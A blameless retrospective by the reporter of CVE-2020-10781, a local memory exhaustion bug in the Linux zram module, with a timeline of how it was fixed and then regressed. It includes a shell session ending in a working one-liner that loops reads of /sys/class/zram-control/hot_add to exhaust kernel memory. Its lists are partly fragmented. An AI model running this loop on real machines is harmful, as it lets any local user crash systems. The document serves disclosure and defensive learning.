This page contains a blameless retrospective analysis on CVE-2020-10781, from the point of view of the reporter (me). This analysis has NOT been externally reviewed and may be biased/incomplete; private feedback and corrections are welcome!
CVE-2020-10781 is a local unprivileged memory exhaustion vulnerability in the zram
module of the Linux kernel. On a machine with the module loaded (or built-in), a local user can continually read the /sys/class/zram-control/hot_add
file and induce the kernel into consuming a large amount of system memory. Eventually this causes the system OOM killer to activate, terminating userspace processes and possibly making the whole system inoperable.
$ ls -la /sys/class/zram-control/hot_add
-r--r--r--. 1 root root 4096 Sep 5 09:03 /sys/class/zram-control/hot_add
$ id -u
1000
$ cat /sys/class/zram-control/hot_add
1
$ ls -v /dev/zram*
/dev/zram0 /dev/zram1
$ cat /sys/class/zram-control/hot_add
2
$ ls -v /dev/zram*
/dev/zram0 /dev/zram1 /dev/zram2
$ while `true`; do cat /sys/class/zram-control/hot_add & done
...
==> The kernel eventually consumes all available RAM.
0444
) allow any user to read itSee the timeline section for all the details and code references.
What can go better:
CAP_MKNOD
be enough?).What went well:
Where we got lucky:
zram
module is not (yet) very widely used, i.e. not loaded by default on many distributions.hot_add
feature is proposed. (LKML)hot_add
support is approved and merged. Reviews did not flag the "read-to-create" design nor the "all-read" permissions. (git)0400
. No CVE is assigned nor test introduced. (git)NOTE
is added in a source comment about the unusual "read-to-create" behavior. (git)zram
build.zram
build is fixed. This results in undoing the previous permission fix. (git)hot_add
are reported as potentially problematic to Red Hat security team. (CVE-2020-10781)0400
. No further regression test nor API deprecation steps are enacted. (git)